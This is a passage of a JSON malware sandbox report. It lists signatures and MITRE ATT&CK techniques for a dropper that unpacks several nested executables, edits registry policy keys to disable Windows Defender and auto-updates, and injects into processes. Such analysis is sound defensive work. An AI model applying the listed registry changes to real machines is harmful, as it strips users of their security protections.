\"IMAGE_DIRECTORY_ENTRY_IMPORT\"","id":"static-90","level":"suspicious","name":"PE file with no import directory","origin":"Static Parser","relevance":5,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"$4e","id":"api-139","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to load a resource in memory","origin":"API Call","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"file\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-208","level":"informative","mitre_attack_id":"T1564.003","name":"Contains ability to show a graphical window (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"AppLaunch.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 704E0000","id":"module-3","level":"informative","mitre_attack_id":"T1129","name":"Loads the .NET runtime environment","origin":"Loaded Module","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$4f","id":"string-83","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to enumerate files on disk (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"file\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"file\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"file\")","id":"string-148","level":"informative","mitre_attack_id":"T1622","name":"Contains ability to register a top-level exception handler (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetLocaleInfoW@KERNEL32.dll at 35846-2796-0049FFE6\n GetLocaleInfoW@KERNEL32.dll at 35846-2795-004A02CD\n GetLocaleInfoEx@KERNEL32.dll at 35846-4774-0044125D\n GetUserDefaultLCID@KERNEL32.dll at 35846-2798-0049FE53\n GetLocaleInfoW@KERNEL32.dll at 35846-2794-004A0587\n EnumSystemLocalesW@KERNEL32.dll at 52779-6918-004909C0\n GetLocaleInfoEx@KERNEL32.dll at 52779-5754-0041CD01\n GetLocaleInfoEx@KERNEL32.dll at 52779-7444-00443277","id":"stream-49","level":"informative","mitre_attack_id":"T1614","name":"Contains ability to query the system locale","origin":"Hybrid Analysis Technology","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"$50","id":"api-7","level":"informative","mitre_attack_id":"T1129","name":"Loads modules at runtime","origin":"API Call","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"file\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"tX4Xf64.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"yh9Qx09.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"4Tx380er.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"2Zz0679.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"mu6rE08.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"1BU76bP5.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"Lb2xB02.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"nk2xW14.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"5ur9cS3.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"6Pp6Px0.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"7ho9Fx74.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"3Ix70mE.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","id":"static-153","level":"informative","name":"Uses 32 bit executable PE","origin":"Static Parser","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$51","id":"api-126","level":"informative","mitre_attack_id":"T1083","name":"Tries to access non-existent files (executable)","origin":"API Call","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; File: \"file\")\n Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-354","level":"informative","mitre_attack_id":"T1082","name":"Contains reference to mutex-related activity (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"\"tX4Xf64.exe\" claimed CRC 1496502 while the actual is CRC 1647804\n \"yh9Qx09.exe\" claimed CRC 1307734 while the actual is CRC 1496502\n \"mu6rE08.exe\" claimed CRC 1096961 while the actual is CRC 1145247\n \"Lb2xB02.exe\" claimed CRC 695401 while the actual is CRC 905785\n \"nk2xW14.exe\" claimed CRC 546969 while the actual is CRC 695401\n \"3Ix70mE.exe\" claimed CRC 62750 while the actual is CRC 156988","id":"static-0","level":"suspicious","mitre_attack_id":"T1027","name":"CRC value set in PE header does not match actual value","origin":"Static Parser","relevance":10,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"System Security","description":"\"AppLaunch.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\WINDOWSUPDATE\\AU\"; Key: \"NOAUTOUPDATE\"; Value: \"01000000\")","id":"registry-24","level":"malicious","mitre_attack_id":"T1112","name":"Modifies Windows Auto-Updates feature","origin":"Registry Access","relevance":9,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: PCAP contains base64 strings\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]","id":"summary-32","level":"informative","mitre_attack_id":"T1140","name":"Shows ability to deobfuscate/decode files or information","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$52","id":"api-125","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to get system version information","origin":"API Call","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"FindFirstFileExW@KERNEL32.dll at 43140-497-0040888E","id":"stream-89","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to enumerate files inside a directory","origin":"Hybrid Analysis Technology","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"4Tx380er.exe.4175326223\")","id":"string-141","level":"informative","mitre_attack_id":"T1010","name":"Contains ability to retrieve open application windows (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"$53","id":"registry-25","level":"informative","mitre_attack_id":"T1082","name":"Reads information about supported languages","origin":"Registry Access","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"System Security","description":"\"AppLaunch.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007048)","id":"api-111","level":"informative","mitre_attack_id":"T1134","name":"Calls an API typically used to enable or disable privileges in the specified access token","origin":"API Call","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Network Related","description":"Found user-agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)","id":"network-22","level":"suspicious","mitre_attack_id":"T1071.001","name":"Uses a browser-related user-agent without launching browser","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetTickCount64@KERNEL32.dll at 52779-5677-0042091C\n GetTickCount64@KERNEL32.dll at 52779-7461-004432DE","id":"stream-87","level":"informative","mitre_attack_id":"T1497","name":"Contains ability to detect virtual environment (API)","origin":"Hybrid Analysis Technology","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetSystemTimeAsFileTime@KERNEL32.dll at 35846-3071-00491567\n GetSystemTimeAsFileTime@KERNEL32.dll at 52779-7460-004432D8\n GetSystemTimeAsFileTime@KERNEL32.dll at 52779-5773-004022CA","id":"stream-2","level":"informative","mitre_attack_id":"T1124","name":"Contains ability to query machine time","origin":"Hybrid Analysis Technology","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"file\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"4Tx380er.exe.4175326223\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-247","level":"informative","mitre_attack_id":"T1124","name":"Contains ability to retrieve machine time (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; File: \"file\")\n Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-312","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to retrieve path in which Windows is installed (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"wextract.pdb\"","id":"string-7","level":"informative","name":"Contains PDB pathways","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: file)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: tX4Xf64.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: yh9Qx09.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: mu6rE08.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: Lb2xB02.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: nk2xW14.exe)","id":"static-79","level":"informative","mitre_attack_id":"T1027.007","name":"Contains ability to dynamically determine API calls","origin":"Static Parser","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"$54","id":"string-550","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to find and load resources of specific modules (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"file.exe\" trying to touch file \"\\Device\\HarddiskVolume2\\Windows\\System32\\WOW64LOG.DLL\"\n \"file.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\apphelp.dll\"\n \"file.exe\" trying to touch file \"C:\\file.exe\"\n \"file.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ntdll.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\kernel32.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\KernelBase.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"file.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\AcLayers.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\mpr.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\sfc.dll\"","id":"api-263","level":"informative","mitre_attack_id":"T1083","name":"Touches files","origin":"API Call","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetTimeZoneInformation@KERNEL32.dll at 35846-2911-00499BC3","id":"stream-48","level":"informative","mitre_attack_id":"T1124","name":"Contains ability to query the machine timezone","origin":"Hybrid Analysis Technology","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"file.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\ixp000.tmp\\tx4xf64.exe\"","id":"api-242","level":"informative","name":"Writes files","origin":"API Call","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Network Related","description":"\"AppLaunch.exe\" called \"InternetOpenA with parameter Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)\" (UID: 00000000-00005520)","id":"api-199","level":"informative","mitre_attack_id":"T1071.001","name":"Calls an API used to connect to internet","origin":"API Call","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$55","id":"string-85","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to enumerate process and/or its information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"file\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-535","level":"informative","mitre_attack_id":"T1105","name":"Contains ability to write files (API string)","origin":"File/Memory","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"$56","id":"registry-26","level":"informative","mitre_attack_id":"T1614.001","name":"Reads the windows installation language","origin":"Registry Access","relevance":2,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"External Systems","description":"39/67 Antivirus vendors marked sample as malicious (58% detection rate)","id":"avtest-3","level":"malicious","name":"Sample was identified as malicious by a large number of Antivirus engines","origin":"External System","relevance":10,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$57","id":"registry-78","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to read software policies","origin":"Registry Access","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"Spawned process \"file.exe\" (UID: 00000000-00007720)\n Spawned process \"tX4Xf64.exe\" (UID: 00000000-00006500)\n Spawned process \"yh9Qx09.exe\" (UID: 00000000-00007164)\n Spawned process \"mu6rE08.exe\" (UID: 00000000-00006672)\n Spawned process \"Lb2xB02.exe\" (UID: 00000000-00007144)\n Spawned process \"nk2xW14.exe\" (UID: 00000000-00005824)\n Spawned process \"1BU76bP5.exe\" (UID: 00000000-00006512)\n Spawned process \"AppLaunch.exe\" (UID: 00000000-00007048)\n Spawned process \"2Zz0679.exe\" (UID: 00000000-00007244)\n Spawned process \"AppLaunch.exe\" (UID: 00000000-00005520)\n Spawned process \"3Ix70mE.exe\" (UID: 00000000-00007200)","id":"target-14","level":"malicious","mitre_attack_id":"T1057","name":"Spawns a lot of processes","origin":"Monitored Target","relevance":8,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"$58","id":"string-304","level":"informative","mitre_attack_id":"T1112","name":"Contains ability to modify registry key/value (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"file\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"4Tx380er.exe.4175326223\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-365","level":"informative","mitre_attack_id":"T1029","name":"Contains ability to perform scheduled transfer (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"$59","id":"string-204","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to create a new process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"$5a","id":"static-96","level":"informative","name":"PE file entrypoint instructions","origin":"Static Parser","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Network Related","description":"Found HTTPS GET request to https://assets.msn.com/service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=sports\n Found HTTPS GET request to https://assets.msn.com/service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=finance","id":"network-66","level":"informative","mitre_attack_id":"T1071.001","name":"Sends GET/POST requests (HTTPS)","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"ResumeThread@KERNEL32.dll at 35846-3648-0047476B","id":"stream-129","level":"suspicious","mitre_attack_id":"T1106","name":"Contains ability to modify processes thread functionality","origin":"Hybrid Analysis Technology","relevance":5,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$5b","id":"api-0","level":"malicious","mitre_attack_id":"T1055","name":"Writes data to a remote process","origin":"API Call","relevance":6,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Ransomware/Banking","description":"\"AppLaunch.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS DEFENDER\\REAL-TIME PROTECTION\"; Key: \"DISABLEBEHAVIORMONITORING\"; Value: \"01000000\")\n \"AppLaunch.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS DEFENDER\\REAL-TIME PROTECTION\"; Key: \"DISABLEIOAVPROTECTION\"; Value: \"01000000\")\n \"AppLaunch.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS DEFENDER\\REAL-TIME PROTECTION\"; Key: \"DISABLEONACCESSPROTECTION\"; Value: \"01000000\")\n \"AppLaunch.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS DEFENDER\\REAL-TIME PROTECTION\"; Key: \"DISABLEREALTIMEMONITORING\"; Value: \"01000000\")\n \"AppLaunch.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS DEFENDER\\REAL-TIME PROTECTION\"; Key: \"DISABLESCANONREALTIMEENABLE\"; Value: \"01000000\")","id":"registry-77","level":"malicious","mitre_attack_id":"T1562.001","name":"Tries to disable Windows defender via registry","origin":"Registry Access","relevance":7,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"$5c","id":"string-318","level":"informative","mitre_attack_id":"T1055.001","name":"Contains ability to load/free library (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; File: \"file\")\n Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-320","level":"informative","mitre_attack_id":"T1564.003","name":"Contains ability to pass information to a window procedure (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"6Pp6Px0.exe\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"6Pp6Px0.exe\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"6Pp6Px0.exe.125725185\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"6Pp6Px0.exe.125725185\")","id":"string-338","level":"informative","mitre_attack_id":"T1132","name":"Contains ability to perform Base64 encoding/decoding","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetProcessHeap@KERNEL32.dll at 43140-1119-0040A67F","id":"stream-31","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to retrieve/open a process","origin":"Hybrid Analysis Technology","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"AppLaunch.exe\" queries volume information of \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe\" at 00000000-00007048-00000C15-61324975\n \"AppLaunch.exe\" queries volume information of \"C:\\\" at 00000000-00005520-00000C15-62698610","id":"api-11","level":"informative","mitre_attack_id":"T1082","name":"Queries volume information","origin":"API Call","relevance":2,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"$5d","id":"string-307","level":"informative","mitre_attack_id":"T1112","name":"Contains ability to create/load registry keys (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"AppLaunch.exe\" failed to load missing module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\mscoree.dll\" - [base:0; Status:c0000135]\n \"AppLaunch.exe\" failed to load missing module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\ole32.dll\" - [base:0; Status:c0000135]\n \"AppLaunch.exe\" failed to load missing module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\api-ms-win-core-winrt-l1-1-0.dll\" - [base:0; Status:c0000135]\n \"AppLaunch.exe\" failed to load missing module \"%WINDIR%\\Microsoft.Net\\assembly\\GAC_MSIL\\System\\v4.0_4.0.0.0__b77a5c561934e089\\ntdll.dll\" - [base:0; Status:c0000135]","id":"api-22","level":"informative","mitre_attack_id":"T1574.002","name":"Fails to load modules at runtime","origin":"API Call","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"file.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 767E0000\n \"tX4Xf64.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 767E0000\n \"yh9Qx09.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 767E0000\n \"mu6rE08.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 767E0000\n \"Lb2xB02.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 767E0000\n \"nk2xW14.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 767E0000\n \"1BU76bP5.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 767E0000\n \"AppLaunch.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 767E0000\n \"2Zz0679.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 767E0000\n \"3Ix70mE.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 767E0000","id":"module-10","level":"informative","mitre_attack_id":"T1129","name":"Loads the RPC (Remote Procedure Call) module DLL","origin":"Loaded Module","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"file\")","id":"string-167","level":"informative","mitre_attack_id":"T1543","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"AppLaunch.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","id":"registry-35","level":"informative","mitre_attack_id":"T1082","name":"Reads the active computer name","origin":"Registry Access","relevance":5,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"Virtual size of \".rsrc\" is \"0x183000\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x160000\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x12f000\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x101000\" greater than 0x100000","id":"static-124","level":"informative","name":"PE file has a big virtual size section","origin":"Static Parser","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"System Security","description":"$5e","id":"string-308","level":"informative","mitre_attack_id":"T1070.004","name":"Contains ability to delete files/directories (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; File: \"file\")\n file/memory contains long string with (Indicator: \"ExitWindows\"; File: \"file\")\n file/memory contains long string with (Indicator: \"ExitWindows\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"ExitWindows\"; 